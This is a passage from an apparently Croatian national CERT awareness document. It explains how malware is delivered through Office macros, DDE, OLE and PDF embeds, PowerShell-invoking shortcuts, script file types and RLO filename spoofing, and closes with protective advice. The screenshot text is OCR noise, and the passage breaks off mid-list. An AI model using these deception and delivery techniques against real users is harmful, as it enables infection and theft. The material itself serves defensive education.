Pacte abe A _la . = A P
CAWindows\SysWOW64\cmd.exe - O x 2 ' =] Iy Select -
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Documents>
ent a
pis non,
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vel
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llis
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zllus
ue.
1am CONSECTETUr, est quis volutpat CONgUE, hUNC NUNC varius mi, SIt amet elementum Ipsum Tacus quis
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senectus et netus et malesuada fames ac turpis egestas. Duis at orci ligula. Aliqguam id posuere nulla, et
wvehicula lectus. Sed dictum velit eros. Nulla vulputate ultricies elit efficitur euismod.
Praesent guis metus dolor. Nunc ultrices, augue elementum feugiat luctus, ex eros mattis enim, in
Iobortls Mgula Iacus eu elit. Donec tempus dolor sit amet eros allquet varius. Sed tincidunt felis quis
S TR TS TP S BUE TOPURR T BN -
page 10of 1 474 words [I: Croatian (Croat\a) E‘ L_‘ - ] + 100%

Slika 23 - primjer napada dokumentom s makronaredbama

Kao odgovor na takav zlonamjerni softver, ugradene su zastite u Microsoft Office koje
sprjecavaju automatsko izvrSavanje makronaredbi. U modernim inac¢icama Microsoft
Officea, prije nego se pokrenu bilo kakve makronaredbe, korisnik prvo mora omoguciti
njihovo izvrSavanje klikom na gumb s natpisom , Enable content" ili slicno. No i dalje, ako
korisnik klikne navedeni gumb i omoguéi izvrSavanje makronaredbi, pokrenut ¢e se
zlonamjerni kod.

Prethodno spomenute zastite nisu u potpunosti sprijecile ovu vrstu napada. Napadaci su
se prilagodili - danasSnji dokumenti sa zlonamjernim makronaredbama cesto imaju
sadrZaj koji pokuSava uvjeriti Zrtve da je nuzno kliknuti na ,Enable content” kako bi se
prikazao sadrzaj dokumenta. Kao Sto je prethodno receno, jednom kada Zrtva klikne na
»Enable content”, pokrenut e se napadacev zlonamjerni kod.

Na slikama 24 i 25 prikazani su primjeri stvarnog zlonamjernog softvera koji koristi
makronaredbe sadrzane u Microsoft Word dokumentu. Sadrzaj prikazanih dokumenata
sastavljen je tako da pokusSa obmanuti Zrtvu da klikne na ,,Enable content” i sli¢no te time
iskljuci zaStite i u konacnici pokrene zlonamjerni kod (18) (19). Crvenom bojom istaknuti
su dijelovi sadrZaja dokumenata koji navode Zrtvu na iskljucivanje zastita. Klju¢no je
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razumjeti da ti oznaceni dijelovi nisu dio sucelja Microsoft Worda, ve¢ je to samo

sadrzaj kojega je napadac oblikovao da izgleda kao dio sucelja.
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Slika 24 - Microsoft Word dokument ¢iji sadrzaj pokusava obmanuti korisnika da iskljuci zastite i
pokrene zlonamjerne makronaredbe (crvenom su bojom oznaceni klju¢ni dijelovi sadrzaja
dokumenta) (18)
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Slika 25 - Microsoft Word dokument ¢iji sadrZzaj pokusava obmanuti korisnika da iskljuci zastite i
pokrene zlonamjerne makronaredbe (crvenom su bojom oznaceni kljucni dijelovi sadrzaja

dokumenta) (19)
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3.2.1.2 Dynamic Data Exchange protokol

Microsoft Office dokumenti podrzavaju i Dynamic Data Exchange (skraceno DDE)
protokol. To je mehanizam pomocu kojega Microsoft Office dokumenti mogu preuzeti
podatke od vanjskih aplikacija. Primjerice, DDE je moguce Kkoristiti za izradu Microsoft
Excel tablice koja dinamicki, pomocu vanjske aplikacije, dohvaca podatke s burze te ih
prikazuje i obraduje. Na slici 26 prikazan je primjer upravo takve Microsoft Excel tablice
(20).

FAN™ |+ Classeurl - Microsoft Excel | =|.= ﬁ
m Accueil | Insertion  Mise en page  Formules Données  Révision Affichage @ = EE 22
==X Calibri -1 - ==[=|5 standara - A = Insérer = T - &7~
Coﬁer R G I 8§~ A A = TER L'E' % 000 — 2 Supprimer ~ E' A~
- < e S A EE | B “H Ar - F& Format ~ 2
Presse-papiers s Palice 1 Alignement 1 Nombre 1 Cellules Edition
Al - Ff | =prortdde|'10_APPL''Pname ¥
A B C D E F i

1 |APPLE INC. 128.61 128.65 128.99 128.15 128.94 B
2 BASF SENAO.N. 81.24 82.16 82.09 80.65 85

3 BEL20 Index 3634.76 3646.689 3655.99 3628.23 3653.44

4 | CACA40 Index 48735 4904.0 49220 48555 49215 L
5 |DAX30 Full1214 Fuiure 110955 111900 112240 11057.0 112015 r
6 FTSE MIB40 Index 2275346 2284734 2295941 22666.5 22858.07

7 | GOOGLE INC. CLASS C hdT.32 54053 5409 87 546.05 549 69

8 IBEX35 Index 10964.1 11062.0 110561 10937.3 11022.8

9 | Mini S&P500 Only1214 2092.25 209225 2102.75 20835 2098.75 B
10 Spot EUR/GBP 0.7327 0.7286 0.7336 0.7266 0.7274

11 | Spot EUR/MPY 14013 1396 14032 130.04 1397

12  Spot EUR/USD 1.1197 11115 1.1225 1.1084 1.1225 -
M 4 » H| Feuill /Feuill2 ~Feuid %1 4] I | » 1]
Prét | |[EEEE 100% (=) 0 (+)

Slika 26 - primjer Microsoft Excel tablice koja DDE protokolom od vanjskog programa dohvaca
podatke s burze (20)

Dynamic Data Exchange protokolom moguce je prilikom otvaranja dokumenta pokrenuti
bilo koju vanjsku aplikaciju s proizvoljnim argumentima. Zato je moguce otvaranjem
dokumenta pokrenuti proizvoljne naredbe, pa time i zZlonamjerni kod.

Sli¢no kao i kod dokumenata s makronaredbama, kako bi se pokrenuo zlonamjerni kod,
korisnik prvo mora odobriti njegovo pokretanje klikom na odgovarajuce mjesto u sucelju.
Zato su napadi dokumentima pomocu DDE protokola prilicno slicni napadima
dokumentima s makronaredbama. Na slici 27 prikazan je primjer stvarnog zlonamjernog
softvera koji je sadrzan u Microsoft Word dokumentu te koristi DDE za izvrSavanje
zlonamjernog koda (21). Primjer je izrazito slican prethodnim primjerima zlonamjernih
Microsoft Word dokumenata s makronaredbama - jedina stvarna razlika je $to se u ovom
slucaju zlonamjerni kod ne izvrSava pomoc¢u makronaredbi, ve¢ pomoc¢u DDE protokola.
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receipt_80331
1.doc Be careful—files from the Internet can contain viruses. Unless you =
X
o F IR need to edit, it's safer to stay in Protected View. Enable deng
L
O I I I Ce This document is protected
Oops, something went wrong
o]

Ed‘liw::;':m NSOL s dow om your email, please click Enable il =

Page 10f2 0 words BEE B - ] + 74%

Q Tell me

Slika 27 - Microsoft Word dokument ¢iji sadrzaj pokusava obmanuti korisnika da iskljuci zastite i

pokrene zlonamjerni kod pomo¢u DDE protokola (21)
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3.2.1.3 Ugradeni OLE objekti

U Microsoft Office dokumente moguce je ugraditi druge datoteke u obliku tzv. OLE
objekata. Primjerice, moguce je u Microsoft Word dokument ugraditi video datoteku, kao
Sto je prikazano na slici 28.

H ©- = ole.docx
Insert Design Layout References Mailings Review  View Help ,O Tell me what you want to do \B Share [
e - i — i == == LOFind ~
Calibri Body}=|11 - A A Aa- A =.i=-'-- &3 4 T
N AaBbCcDd | AaBbCeDd AQBLC( #_Replace
Pa-ste ¢/ B I U-acx, ¥ A-W-A-Sl=== j=-|D-H- T Normal | TNo Spac.. Heading1 '+ [} Select -
Clipboard Font & Paragraph [ Styles [ Editing ~

Lorem ipsum dolor sit amet, consectetur adipiscing e_it. Duis ut urna nunc. Sed vitae venenatis lorem, sit
amet scelerisque lacus. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac
turpis egestas. Phasellus dignissim ut augue quis malesuada. Curabitur ut dui orci. Aenean quis aliquet

A

Saigon - 14385.mp4

mauris. Aenean tincidunt ac ipsum ac luctus.

Page 1of 1 S4words [[4 Croatian (Croatia) H = - 1 + 100%

Slika 28 - video datoteka ugradena u Microsoft Word dokument u obliku OLE objekta

Kada korisnik klikne na ugradeni objekt, primjerice video datoteku, pokrenut ¢e se vanjski
program povezan s odgovaraju¢im tipom datoteke, u ovom slu€aju program za
prikazivanje videa.

No u dokument je moguce ugraditi i .exe datoteku ili druge slicne datoteke sa
zlonamjernim kodom. Slicno kao i kod prethodnih napada pomoc¢u Microsoft Office
dokumenata, sadrzaj dokumenta je obi¢no sastavljen tako da prevari Zrtvu da klikne na
ugradeni objekt i time pokrene zlonamjerni kod.

Na slici 29 prikazan je Microsoft Word dokument u kojega je ugradena skripta sa
zlonamjernim kodom kao OLE objekt (22). Kada Zrtva dva puta klikne na ikonu skripte,
ona se pokrece te se izvrSava njen zlonamjerni kod. Slicno kao kod primjera napada
pomoc¢u makronaredbi i DDE protokola, i u ovom sluc¢aju je sadrzaj dokumenta sastavljen
tako da prevari korisnika da svojim radnjama pokrene zlonamjerni kod.
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PROTECTED DOCUMENT

This document is pratected by Microsoft Office and requires human verification.
Please Enable Editing and Double Click below to prove that you are not a robaot,

Double Click Here
To Unlock Contents

CAN'T VIEW? FOLLOW THE STEPS BELOW.

1. Openthe document in Microsoft Office. Previewing online doesnaot wark for prote cte d docurie nts.
2. Ifyou downloaded this docurent from your ermail, please click “Enable Editing” from the vellow bar
above.

3. Double click above. The content of this Docurment will be revealed.

Slika 29 - Microsoft Word dokument sa zlonamjernom skriptom ugradenom kao OLE objekt te
sadrzajem koji pokusava obmanuti korisnika da pokrene navedenu skriptu (22)
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3.2.2 Zlonamjerni kod u PDF dokumentima

Slicno kao Microsoft Office dokumenti, i PDF datoteke podrZzavaju legitimne
funkcionalnosti koje je moguce zloupotrijebiti za izvrSavanje zlonamjernog koda.
Konkretne tehnike napada u pravilu ovise o programu kojega Zrtva koristi za otvaranje
PDF datoteka npr. Adobe Acrobat Reader, Foxit Reader, Sumatra PDF...

3.2.2.1 Automatsko pokretanje vanjskog programa

Specifikacija PDF dokumenata definira funkcionalnost automatskog pokretanja
proizvoljnog vanjskog programa. To je ujedno i jedan od legitimnih mehanizama koji se
mogu zloupotrijebiti za izvrSavanje zlonamjernog koda. Slicno kao i u prethodnim
napadima pomoc¢u dokumenata, za napad pomocu ove funkcionalnosti dovoljno je da
napadac¢ obmane Zrtvu da klikne na , 0k”, ,,Open” i sli¢no te time omogudi izvrSavanje
zlonamjernog koda. Na slici 30 prikazana je PDF datoteka koja koristi ovu funkcionalnost
da pokrene vanjski program te sigurnosno upozorenje koje se u tom slucaju prikazuje.

HEEHOO & - B
File Home  Comment View Form Protect Share Connect Help Extras @ Tell me what you want to do.. q |Find PlE-4 b A n -
,_j\'||" —l_l [&] SnapShot '—D—' » Ft Page =) |117.25% =&, T] Typewrter -D = ’// &2 Lnk [™ File Attachment
[ Cipboard = “—= O Fit Width ) Rotate Left T Highlight = ") Bookmark izt Image Annotation
Hand Select Actuzl .. » Reflow —, . From . PDF X .
- Size 00 Fit Visible [¥ Rotate Right Fe "D sign 9 Audio & Video
Tools Wiew Comment Create Protect Links Insert
Start myPDF_aunch_win.pdf ® A Foxit MobilePDF ﬂ
1
4 Fs
ol
g Foxit Reader @
;‘i\\ This file is set to be launched by this PDF program but the operation is not allowed because L
= A2 % you are currently in Safe Reading Mode. 3
Disable Safe Reading Mode and Open file
[ Add current: file to privieged locations 0
° : oK l [ Cancel
4
7R
a4 11 -y 55, B B B E 117.25% 0 —— @ 4

Slika 30 - PDF datoteka koja automatski pokreée vanjsku aplikaciju te sigurnosno upozorenje koje
se u tom slucaju prikazuje

Verzija 1.00 CERT.hr-PUBDOC-2018-11-369 stranica 28/ 42



C=RT.hr

3.2.2.2 Ugradene datoteke

Jo$ jedna tehnika napada PDF datotekama je ugradivanje datoteke sa zlonamjernim
kodom u PDF dokument. Ova tehnika je zapravo prilicno slicna prethodno spomenutoj
tehnici ugradivanja OLE objekata u Microsoft Office dokumente. Kao i u toj tehnici, klju¢ni
dio napada je obmana korisnika da otvori ugradenu datoteku i time pokrene zlonamjerni
kod.

Jedan zanimljivi primjer ove tehnike prikazan je na slikama 31 i 32. Prikazana PDF
datoteka u sebi ima ugraden Microsoft Word dokument koji u sebi sadrzi zlonamjerne
makronaredbe (23). U ovom slucaju, zlonamjerni kod je ovako slojevito upakiran kako bi
$to bolje izbjegao anti-malware sustave. Za uspjeSan napad, korisnik treba zanemariti
sigurnosna upozorenja programa za otvaranje PDF datoteka i sigurnosna upozorenja
Microsoft Worda. Na prvi pogled se moZda ¢ini da ¢e rijetko koji korisnik biti toliko
neoprezan, no u praksi, ¢ak su i ovakvi napadi ¢esto uspjesni.

2| nm.pdf - Adobe Reader = <3

9
o

&- | &€ T gt 151% -

Please open attached EQV6A.docm file

Open File ==

) The file "EQV6A.docm" may contain programs, macros, or viruses that could potentially
¢ harm puter. Open the file only if you are sure it is safe. Would you ik to:

Always allow opening files of this type

Never allow opening files of this type

N | [ cancel

% CERCI

Slika 31 - PDF dokument s ugradenim Microsoft Word dokumentom koji sadrzi zlonamjerne
makronaredbe (23)
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Slika 32 - Microsoft Word dokument sa zlonamjernim makronaredbama koji je bio sadrzan u
prethodno prikazanom PDF dokumentu (23)
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3.2.3 Zlonamjerni kod u ostalim vrstama datoteka

Uz do sada navedene vrste datoteka, postoji jo$ i niz drugih vrsta datoteka koje mogu biti
opasne. Kao Sto je prethodno spomenuto, napadaci sve visSe izbjegavaju .exe datoteke te
koriste druge vrste datoteka koje ujedno korisnicima izgledaju manje opasno, a anti-
malware sustavi ih rjede prepoznaju kao zlonamjerne. U nastavku ¢e biti nabrojane neke
od tih vrsta datoteka uz kratko objasnjenje kako ih napadaci zlorabe.

Jedna od tih vrsta datoteka je najobicniji precac (eng. shortcut). Precac je zapravo samo
posebna vrsta datoteke s nastavkom .Ink koji se ne prikazuje u grafickom sucelju. Nije
iznenadujuce da je moguce napraviti precac koji izgleda bezopasno, no zapravo vodi na
zlonamjernu datoteku (npr..exe), kao Sto je prikazano na slici 33.

S — N
e
picture trojan.exe

Slika 33 - naizgled bezopasni precac koji vodi na opasnu izvr$nu datoteku

No, manje je poznato da precac moze i sam u sebi sadrzavati zlonamjerni kod, bez
ikakve dodatne napadaceve datoteke na koju pokazuje. Konkretno, moguce je napraviti
precac koji poziva izvrsnu datoteku powershell.exe (izvrSna datoteka nove Windows
ljuske i odgovarajuceg skriptnog jezika) te joj u argumentu predaje skriptu s proizvoljnim
kodom, kao Sto je prikazano na slici 34. Skripta je kodirana metodom base64 - u tom
obliku, moguce je proizvoljnu skriptu postaviti kao argument naredbene linije. Ovakav
zlonamjerni pre€ac zapravo je moguce napraviti pomocu bilo koje izvrSne datoteke koja
preko argumenata moZe primiti proizvoljan kod.

¥¥ shortcut Properties X
Colors Details Previous Versions
General Shorteut Options Font Layout

q shortcut

]

Targettype: Application

Targetlocation: v1.0

Target Il-ll'-}n O\powershell. exe -enc ZOBjAGAbWAGACIAdAE |]

Startin [e \WINDOWS\System32\WindowsPowerShelliv1.0 |
’g Shortcut key MNone
shortcut

Run: Nomal window >

Comment

OpenFile Location Change lcon... Advanced..

Slika 34 - precac koji sam u sebi sadrzava zlonamjerni kod, bez dodatne napadaceve datoteke
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Operacijski sustav Microsoft Windows, bez instalacije dodatnih programa, podrZava niz
skriptnih jezika i odgovarajucih vrsta datoteka koje su, u ovom kontekstu, zapravo jako
slicne .exe datotekama. Kao i .exe datoteke, ove datoteke mogu sadrzavati zlonamjeran
kod, a pokrecu se jednostavnim dvoklikom na ikonu datoteke. Na slici 35 prikazan je
primjer jedne takve datoteke (skriptnog jezika /Script) te njenog koda otvorenog u
uredivacu teksta.

| programjs - Notepad - O x

File Edit Format View Help
V/ttttttttttttttttt33333333ttttttttttttttttttttttt

// File: Args.js (WSH sample in JScript)
// Author: (c) G. Born
1/

// Displaying the script arguments in a dialog box
//t*t*t*t*t*t*t**********************************t

var objArgs;
var text = "Arguments \n\n";

programgjs var objArgs = WScript.Arguments; // Create object.

for (var i = @; i < objArgs.length; i++) // Loop for all arguments.
text = text + objArgs(i) + "\n'; // Get argument.

Wscript.Echo(text); // Show arguments using Echo method.

//*** End

Slika 35 - primjer datoteke skriptnog jezika JScript i njen kod u uredivacu teksta

Neke od takvih vrsta datoteka te odgovarajuci nastavci su sljedeci:

e Batch skripte - nastavak .bat

e Powershell skripte - nastavak.ps1

e JScript skripte - nastavci .js, .jse

e Visual Basic skripte - nastavci.vbs, .vbe

e HTML aplikacije - nastavak.hta

e Windows Script datoteke - nastavak .wsf

Naslici 36 prikazano je kako izgledaju ikone navedenih vrsta datoteke. Klju¢no je naglasiti
da ovo nije iscrpan popis niti vrsta datoteka, niti nastavaka!

g O =

scriptpsi jscriptjs vbscriptvbs html_app.hta windows_script
_file.wsf

i

) powershell_
batch_script.bat

Slika 36 - ikone datoteka raznih skriptnih jezika podrzanih na operacijskom sustavu Microsoft
Windows bez instalacije dodatnih programa
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JoS neke vrste datoteka koje napadaci koriste su:

e Java arhiva (nastavak .jar) - to je zapravo program napisan u programskom
jeziku Java; okolina za izvrSavanje takvih programa je instalirana na gotovo
svakom racunalu.

e Screensaver datoteka (nastavak .scr) - nastavak .scr je u pravilu samo
alternativni nastavak za .exe datoteku, tako da je screensaver datoteka u ovom
kontekstu ista kao izvrSna (.exe) datoteka, samo s naizgled bezopasnim nastavkom.

e Windows Installer paket (nastavak.msi) - to je datoteka za instalaciju programa
koju je, naravno, moguce i zloupotrijebiti za instalaciju zlonamjernog softvera (24).

Ikone navedenih datoteka prikazane su na slici 37. Bitno je samo napomenuti da se, kao i
.exe datotekama, screensaver datotekama ikona moZe mijenjati.

r'\ ! [lj
=
)

java_archive jar screensaver.scr installer.msi

Slika 37 - ikone Java arhive, screensaver datoteke i Windows Installer paketa
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3.3 Nakon zaraze

Jednom kada je racunalo zaraZeno, tj. kada se na Zrtvinom rac¢unalu pokrene zlonamjerni
kod, najtezi dio napadacevog posla je gotov. No tu ne zavrSava proces napada - u
napadacevom je interesu da zaraza zlonamjernim softverom ne bude otkrivena ni
prijavljena. Kako bi napadaci to osigurali opet se Cesto oslanjaju na tehnike obmane.

U slucaju trojanskih konja, kada je zlonamjerni softver predstavljen kao legitiman softver,
napadaci ¢e se Cesto potruditi da trojanski konj izvrSava ocekivane legitimne
funkcionalnosti dok u pozadini izvrSava i zlonamjerni kod. Namjera napadaca je da
time u konacnici izbjegnu sumnju i otkrivanje zaraze. Primjerice, ako se trojanski konj
laZno predstavlja kao kalkulator, napadac ¢e se potruditi da on zaista i funkcionira kao
legitimni kalkulator, dok zapravo u pozadini izvrS§ava zlonamjerni kod.

Kada korisnici posumnjaju da su zarazeni zlonamjernim softverom cesto im je jedan od
prvih koraka otvaranje upravitelja zadacima (eng. Task Manager) te pregledavanje popisa
procesa u nadi da ¢e uociti neSto sumnjivo. Upravo zbog toga, napadaci procesu
zlonamjernog softvera cCesto daju ime koje ne izgleda sumnjivo, primjerice svchost.exe,
java.exe ili sli¢no. Isti koncept primjenjiv je i na imena kljuceva registra (eng. registry
keys) koje zlonamjerni softver postavlja, domenska imena i URL-ove na koje se
zlonamjerni softver spaja, imena mutex objekata koje zlonamjerni softver koristi i
sli¢no.

Kao primjer, na slici 38 prikazan je kljuc registra (eng. registry key) kojega je postavio
jedan zlonamjerni softver. Svrha kljuca je osigurati da se zlonamjerni softver automatski
pokrene prilikom pokretanja racunala, no u ovom kontekstu su nam zanimljivi nazivi -
ime kljuca je ,Java“, a program koji se pokrece (naveden u podatkovnom dijelu kljuca)
nazvan je ,svchost.exe“ (25). Zlonamjerni softver nema nikakve veze s programskim
jezikom Java niti s procesom unutar kojega su pokrenuti servisi operacijskog sustava
(svchost.exe) - no on koristi njihova imena jer ona nece izgledati sumnjivo korisniku koji
naide na ovaj kljuc registra.

Q Registry Editor EI@
File Edit View Favorites Help

Group Policy = || Mame Type Data

- GrpCony 5] (Default) REG_SZ (value not set)

HomeGroup

ab| Java REG_SZ ChUsers\User\AppDatatRoaminghsvchost, exel

ime

Internet Settings
MCT

MetCache
Policies

RADAR

Run

e RunOnce

b Screensavers
Shell Extensions
Sidebar
Telephony

----- ThemeManager

b Themes

Uninstall 5| i C

Computer\HKEY_CURREMT_USER\Software\Microsoft\Windows\CurrentVersion' Run

Slika 38 - zlonamjerni softver je postavio kljuc registra s imenima kljuca i programa koja na prvi
pogled nisu sumnjiva (25)
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Trojanski su konji ¢esto predstavljeni kao programi s funkcionalnos¢u koja je korisniku
zanimljiva, ali je inaCe ilegalna ili nepoZeljna u drustvenoj okolini. To moZe biti:

e softver za ilegalnu zaradu novca,
e piratski softver,
e softver za slanje prijave za posao,
e isli¢no.
Kao primjer, na slici 39 prikazan je zlonamjerni softver lazno predstavljen kao softver za

generiranje novaca za servis Paypal, dok je na slici 40 prikazana phishing poruka koja
mami Zrtvu dobro pla¢enim poslom, a zapravo vodi na zlonamjerni softver.

PayPal

Money Generator v.2.0

Type your PayPal Account:
| [ Generate

Type the amount of money you want [

Slika 39 - zlonamjerni softver lazno predstavljen kao softver za generiranje novaca za servis
Paypal
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& Mozilla Thunderbird

Eile Edit View Go Message Tools Help

Get Messages F Wiite ®Chat % Address Book Tag
From bradles@realfreedate.com 4 Reply 4 Reply
Subject 0005

To [remowved] <=
Dear [removed],
We are looking for employees working remaotely.
My name is Priscilla, | am the personnel manager of a large International company.
Most of the work you can do from home, that is, at a distance.

Salary is $2600-55600.

If you are interested in this offer, please visit Our Site

Best regards!

Slika 40 - phishing poruka koja mami Zrtvu dobro pla¢enim poslom, a zapravo vodi na zlonamjerni
softver

ZaSto je napadacu korisno predstaviti zlonamjerni softver kao nesto ilegalno ili
nepoZeljno u drustvenoj okolini? Najbolje je objasniti na primjeru - recimo da zaposlenik
neke tvrtke pokrene trojanskog konja koji je predstavljen kao aplikacija za prijavu na
posao u konkurentskoj tvrtki. Ako zaposlenik naknadno sazna kako je zapravo rijec¢ o
zlonamjernom softveru, on to ¢esto nece htjeti prijaviti svojoj IT sluzbi, jer se ne usudi
reci da se zapravo pokusao prijaviti za drugi posao. Na taj nac¢in, napad u konacnici nije
prijavljen jer je napadac lukavo lazno predstavio trojanskog konja na ovaj nacin. Ovisno
o okolini, jednaka situacija bi bila da se trojanski konj predstavio kao piratski softver,
softver za ilegalno stjecanje novaca ili sli¢no.
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4 Zakljucak

Jedan od klju¢nih zakljucaka je sljede¢i - napadaCima se Cesto ne isplati traZiti nove
ranjivosti u softveru, razvijati exploite koji zaobilaze stroge tehnicke zastite, koristiti
napredne tehnike za sakrivanje i slicno, ako mogu, kao alternativu svemu navedenome,
zlouporabiti legitimne funkcionalnosti i obmanuti krajnjeg korisnika.

Koristenje znaka RLO za prikrivanje stvarnog nastavka datoteke, ubacivanje
zlonamjernog koda u makronaredbe, ugradivanje zlonamjernih OLE objekata i slicno su
tehnike u kojima napadaci zlorabe legitimne funkcionalnosti. Za napadace, zlouporaba
legitimnih funkcionalnosti ima niz prednosti nad iskoriStavanjem uobicajenih ranjivosti
koje su izravne posljedice greSaka u softveru. Zlouporaba legitimnih funkcionalnosti se u
pravilu dobro uklapa s uobic¢ajenim aktivnostima na racunalu/mrezi, pa je u tom slucaju
napad puno teZe detektirati (26). Takoder, za razliku od uobicajenih ranjivosti ¢iji
popravak obi¢no nema negativnih posljedica za ostatak sustava, zlouporabu legitimnih
funkcionalnosti je cesto teSko sprijeciti bez da to negativno utjece na legitimno
koristenje. Nedostatak ovih tehnika iz perspektive napadaca je to $to za uspjesan napad,
Zrtva Cesto mora zanemariti sigurnosna upozorenja ili ¢ak iskljuciti neke sigurnosne
zaStite. No kao odgovor na to, napadaci koriste obmanu, tj. socijalni inZenjering.

Ovaj zakljucak nije strogo ogranicen na kontekst ovog dokumenta, vec¢ je vidljiv u cijelom
lancu kiberneti¢kog napada (26). Primjerice, u danasnjim napadima:

¢ inicijalni vektor zaraze je Cesto phishing,

e zlonamjerni softver je Cesto upakiran unutar dokumenta ili neke naizgled
bezopasne datoteke,

e stehnicke strane, zlonamjerni softver koristi legitimni API operacijskog sustava za
o sakrivanje,
o eskalaciju privilegija,
o ,prezivljavanje” ponovnog pokretanja sustava,
o izvlacenje pristupnih podataka
o 1isli¢no,

e za Sirenje po mreZi, napadaci Cesto koriste legitimne administratorske alate kao
Sto su PsExec i WMIC (Windows Management Instrumentation Command-line).
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U kontekstu teme ovog dokumenta, ove koncepte ilustriraju sljede¢a dva pitanja:

1. Kakva je ovo datoteka prikazana na slici 417

invoice_7423ERCS.docx

Slika 41 - datoteka nepoznate vrste

2. Natemelju slike 42 (slika upravitelja podataka) - je li ovo racunalo zaraZeno?

File Options
Applications | Processes |Services I Performance | Networking |Users |

"% Windows Task Manager

View Help

=N EC ==

-
Image Name

010Editor.exe
audiodg.exe

cmd. exe
conhost.exe

C8rss, EXE

CSM55,EXE

dwm.exe
explorer . exe
GoogleUpdate.exe *32
|sass.exe

|sm.exe
SearchFilterHost. exe
SearchIndexer.exe
SearchProtocolHost. exe
SErvices.exe

slui.exe

SM=s.EXe
SnippingToaol exe
spoolsy.exe
SPPSVC.EXE
swchost,exe
svchost.exe
swchost,exe
svchost.exe
swchost,exe
svchost.exe
swchost,exe
svchost.exe

User Name

User

LOCAL SERVICE
User

user

SYSTEM

SYSTEM

user

user

SYSTEM

SYSTEM

SYSTEM

SYSTEM

SYSTEM

SYSTEM

SYSTEM

user

SYSTEM

user

SYSTEM

MNETWORK SERVICE
SYSTEM

MNETWORK SERVICE
SYSTEM

MNETWORK SERVICE
LOCAL SERVICE
SYSTEM

LOCAL SERVICE
SYSTEM

CPU  Memory ...
02 20,216 K
0o 9,880 K
oo T04K
0o 1,120 K
oo 1,256 K
0o 1,460 K
oo 1,176 K
02 18,824 K
oo 752K
0o 3,128K
oo 1,252K
0o 1,996 K
oo 6,756 K
0o 2,012K
oo 3,860 K
0o 2,600 K
oo 300 K
02 9,584 K
oo 4,188 K
0o 1,824 K
oo 1,516 K
0o 5,068 K
oo 2,560 K
00 2,420K
oo 10,556 K
00 3,668 K
oo 4,292K

0o 13,140 K

Description

010 Editor - Professional Text/Hex Editor
Windows Audio Device Graph Isolation
Windows Command Processor

Console Window Host

Client Server Runtime Process
Client Server Runtime Process
Desktop Window Manager

Windows Explorer
Google Installer

Local Security Authority Process

Local Session Manager Service
Microsoft Windows Search Filter Host
Microsoft Windows Search Indexer
Microsoft Windows Search Protocol Host
Services and Controller app

Windows Activation Client

Windows Session Manager

Snipping Toal
Spooler SubSystem App

Microsoft Software Protection Platform Service
Host Process for Windows Services
Host Process for Windows Services
Host Process for Windows Services
Host Process for Windows Services
Host Process for Windows Services
Host Process for Windows Services
Host Process for Windows Services
Host Process for Windows Services

»

m

Show processes from all users

Processes: 43

CPU Usage: 9%

Physical Memory: 29%
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Odgovor na prvo pitanje je sljede¢i - datoteka prikazana na slici je zapravo screensaver
datoteka s nastavkom .scr, efektivno isto kao i .exe datoteka. U naziv datoteke ubacen je
znak RLO kako bi njen prividni nastavak bio .docx, no stvarni naziv datoteke je zapravo
Jinvoice_7423E [RLO] xcod.SCR“ gdje [RLO] oznacava znak RLO. Osim prikrivanja
stvarnog nastavka, ikona datoteke je zamijenjena da izgleda kao dokument. Naravno, ovo
sve nije moguce saznati samo iz slike s prethodne stranice, no upravo je namjera ovog
primjera bila demonstrirati kako izgled datoteke u sucelju moZe varati.

Slika 43 prikazuje prozor sa svojstvima (eng. properties) ove datoteke. Iz njega je vidljivo
da operacijski sustav prepoznaje datoteku kao screen saver s nastavkom .SCR, dok je
neobican naslov prozora posljedica znaka RLO zbog kojega je ¢ak i rijeC ,Properties“ u
ovom slucaju naopako napisana.

@ invoice_7423EseitreporP RCS.docx et

General petails Previous Versions

[ ‘ invoice_7423ERCS. docx

Type of file:  Screen saver (.SCR)

Description:  Windows Calculator

Location: E:\
Size: 18.0 KB (18,432 bytes)

Size on disk:  20.0 KB (20,480 bytes)

Created: Today, September 5, 2018, 14 minutes ago
Maodified: Thursday, April 12, 2018, 01:34:28
Accessed: Today, September 5, 2018, 14 minutes ago

Attributes: [ |Read-only [ _|Hidden [ Archive

Slika 43 - prozor sa svojstvima datoteke iz prvog pitanja

Odgovor na drugo pitanje je prili¢cno jednostavan - ra¢unalo nije zaraZeno, svi prikazani
procesi su legitimni. No ¢ak i da je neki od navedenih procesa zlonamjeran, zbog trivijalne
tehnike kao Sto je koriStenje svchost.exe kao imena procesa, to ne bismo mogli zakljuciti
na temelju navedene slike. Cilj napadaca je da se zlonamjerni softver Sto viSe uklapa u
legitimne aktivnosti - bilo to zbog trivijalnosti kao Sto je ime procesa, zbog sakrivanja u
Microsoft Word dokument ili zbog pojavljivanja na sluzbenoj trgovini aplikacijama. Kada
je prijetnju teSko razlikovati od legitimne aktivnosti, ¢ak i najoprezniji korisnici se ne
mogu lako zasStititi bez da svojim oprezom znatno naruse produktivnost.
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Nakon svega navedenoga, postavlja se pitanje: ,Kako se zastititi?“.

S tehnicke strane dobar anti-malware (,anti-virus”) sustav (na racunalu korisnika, na
posluZitelju e-poSte...) sprijecit ¢e velik broj napada bez da negativno utjeCe na
produktivnost. Takoder, jedan savjet koji korisnici mogu lako primijeniti je uklju¢ivanje
postavke za prikazivanje nastavka datoteke kako bi korisnici lakSe uocili datoteke koje se
,pretvaraju“ da su nesto drugo.

Sa strane krajnjih korisnika, povrh svega, najvaZznija je osvijeStenost i poznavanje
trenutnih rizika te oprez na temelju tog znanja. lako nije moguce svesti ta znanja na
nekoliko pravila, sljedeci niz pravila koristan je kao smjernice za zastitu od nekih tehnika
navedenih u ovom dokumentu:

e lako program izvrSava neku legitimnu funkcionalnost, on moZe u pozadini raditi
nesto zlonamjerno.

¢ Koliko god smo zatrpani sko¢nim prozorima koji nas upozoravaju o sigurnosnim
rizicima neke radnje, ne treba ih olako shvacati.

e Ikona datoteke te ¢ak i njen (prividni) nastavak ne otkrivaju uvijek njenu vrstu,
tako da i kod naizgled bezopasnih vrsta datoteka treba zadrzati oprez.

e Microsoft Office, PDF i slicni dokumenti mogu biti izrazito opasni. Treba biti
posebno oprezan ako dokument ,ne radi” bez klika na ,Yes”, ,0K” i sl. u sko¢nom
prozoru ili ,Enable content”/”Omogudi sadrZaj” u sucelju. Gotovo uvijek, ako je
dokument legitiman, moguce ga je otvoriti i procitati bez ikakvog dodatnog
odobravanja sigurnosnih rizika i sl.

e Nepoznate irijetko koristene vrste datoteka (.vbs, .hta, .wsf, .scr...) mogu biti
